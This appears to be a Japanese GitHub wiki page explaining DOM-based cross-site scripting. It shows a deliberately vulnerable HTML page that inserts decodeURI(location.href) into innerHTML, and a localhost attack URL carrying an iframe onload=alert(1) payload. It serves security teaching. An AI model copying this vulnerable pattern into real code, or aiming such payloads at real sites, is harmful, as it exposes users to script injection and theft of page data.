クロスサイトスクリプティング DOM location.href - yujitounai/helloworld GitHub Wiki

クロスサイトスクリプティング(XSS) DOM

location.hrefをそのままhtmlとして表示するDOM based XSS モダンなブラウザだとURLエンコードされてるのでdecodeURI()されてる必要があってそんなものは希有

脆弱なソースコード (html)

<!DOCTYPE html>
<head>
    <meta charset="UTF-8" >
</head>
<body>
<div class="box">postMessageのXSS<br>
<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>
<span id="ads">
SECRET data is here
</span>
<script>
document.getElementById('ads').innerHTML = decodeURI(location.href);
</script>
</div>
</body>
</html>

攻撃方法

http://localhost:9001/xss-locationhref.html?word=%3Ciframe%20src=%22%22%20onload=%22alert(1)%22%3E

⚠️ **GitHub.com Fallback** ⚠️